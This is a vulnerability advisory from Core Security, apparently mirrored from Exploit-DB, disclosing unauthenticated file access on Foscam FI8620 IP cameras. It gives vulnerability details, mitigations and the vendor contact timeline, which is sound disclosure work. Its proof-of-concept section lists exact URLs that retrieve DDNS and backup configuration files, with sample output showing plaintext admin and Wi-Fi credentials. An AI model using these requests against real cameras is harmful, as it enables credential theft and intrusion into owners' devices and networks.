FOSCAM IP-Cameras – Improper Access Restrictions

• Exploit Database
• 111 阅读

• 作者： Core Security
  日期： 2013-07-24
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/27076/
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  Core Security - Corelabs Advisory http://corelabs.coresecurity.com/   FOSCAM IP-Cameras Improper Access Restrictions     1. *Advisory Information*   Title: FOSCAM IP-Cameras Improper Access Restrictions Advisory ID: CORE-2013-0613 Advisory URL: http://www.coresecurity.com/advisories/foscam-ip-cameras-improper-access-restrictions Date published: 2013-07-23 Date of last update: 2013-07-23 Vendors contacted: Foscam Release mode: User release     2. *Vulnerability Information*   Class: Information Exposure [CWE-200] Impact: Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2574     3. *Vulnerability Description*   Due to improper access restriction the FOSCAM FI8620 device [1] allows a remote attacker to browse and access arbitrary files from the following directories &apos;/tmpfs/&apos; and &apos;/log/&apos; without requiring authentication. This could allow a remote attacker to obtain valuable information such as access credentials, Wi-Fi configuration and other sensitive information in plain text.   The list of affected files includes, but is not limited to, the following:   . &apos;http://<target_ip>/tmpfs/config_backup.bin&apos; . &apos;http://<target_ip>/tmpfs/config_restore.bin&apos; . &apos;http://<target_ip>/tmpfs/ddns.conf&apos; . &apos;http://<target_ip>/tmpfs/syslog.txt&apos; . &apos;http://<target_ip>/log/syslog.txt&apos;     4. *Vulnerable Packages*   . FOSCAM FI8620 PTZ Camera. . Other Foscam devices based on the same firmware are probably affected too, but they were not checked.     5. *Non-Vulnerable Packages*   Vendor did not provide details. Contact Foscam for further information.     6. *Vendor Information, Solutions and Workarounds*   There was no official answer from Foscam after several attempts (see [Sec. 9]); contact vendor for further information. Some mitigation actions may be do not expose the camera to internet unless absolutely necessary and have at least one proxy filtering HTTP requests to the following resources:   . &apos;/tmpfs/config_backup.bin&apos; . &apos;/tmpfs/config_restore.bin&apos; . &apos;/tmpfs/ddns.conf&apos; . &apos;/tmpfs/syslog.txt&apos; . &apos;/log/syslog.txt&apos;     7. *Credits*   This vulnerability was discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.     8. *Technical Description / Proof of Concept Code*   8.1. *Accessing Manufacturer DDNS configuration*   By requesting the following URL using your default web browser:     /----- http://<target_ip>/tmpfs/ddns.conf -----/   you will see something like this:     /----- [LoginInfo] HostName=ddns.myfoscam.org HostIP=113.105.65.47 Port=8080 UserName=<target username> Password=<target plain password> [Domain] Domain=<target username>.myfoscam.org; -----/     8.2. *Access Credentials Stored in Backup Files*   When a configuration backup is required by an operator/administrator, the backup is generated in the local folder &apos;tmpfs&apos; named as &apos;config_backup.bin&apos;. The binary file is just a dump of the whole configuration packed as Gzip and can be accessed by accessing the following URL:   /----- http://<target_ip>/tmpfs/config_backup.bin -----/   The presence of this temporary file enables an unauthenticated attacker to download the configuration files which contain usernames, plaintext passwords (including admin passwords), Wifi configuration including plain PSK, among other interesting stuff as shown below:   /----- username = "admin " password = "admin " authtype = "15" authgroup= "" [user1] username = "user" password = "user" authtype = "3 " authgroup= "" [user2] username = "guest " password = "guest " authtype = "1 " authgroup= "" -----/   It is important to mention that, in order to access the configuration file previously mentioned, an operator and/or administrator should have executed the backup process in advance.     9. *Report Timeline* . 2013-06-12: Core Security Technologies notifies the Foscam team of the vulnerability.   . 2013-06-12: Vendor acknowledges the receipt of the email and asks for technical details.   . 2013-06-13: A draft report with technical details and a PoC is sent to vendor. Publication date is set for Jul 3rd, 2013.   . 2013-06-17: Core asks if the vulnerabilities are confirmed.   . 2013-06-17: Foscam product team notifies that they have checked CORE&apos;s website [2], but there is no Foscam info.   . 2013-06-18: Core notifies that the advisory has not been published yet and re-sends technical details and proof of concept.   . 2013-06-26: CORE asks for a reply.   . 2013-07-03: First release date missed.   . 2013-07-03: Core asks for a reply.   . 2013-07-11: Core notifies that the issues were reported 1 month ago and there was no reply since [2013-06-18].   . 2013-07-23: Core releases the advisory CORE-2013-0613 tagged as user-release.     10. *References*   [1] Foscam FI8620 - http://www.foscam.com/prd_view.aspx?id=176. [2] CORE Security Advisories http://www.coresecurity.com/grid/advisories.     11. *About CoreLabs*   CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.     12. *About Core Security Technologies*   Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.   Core Security&apos;s software solutions build on over a decade of trusted research and leading-edge threat expertise from the company&apos;s Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.     13. *Disclaimer*   The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/     14. *PGP/GPG Keys*   This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.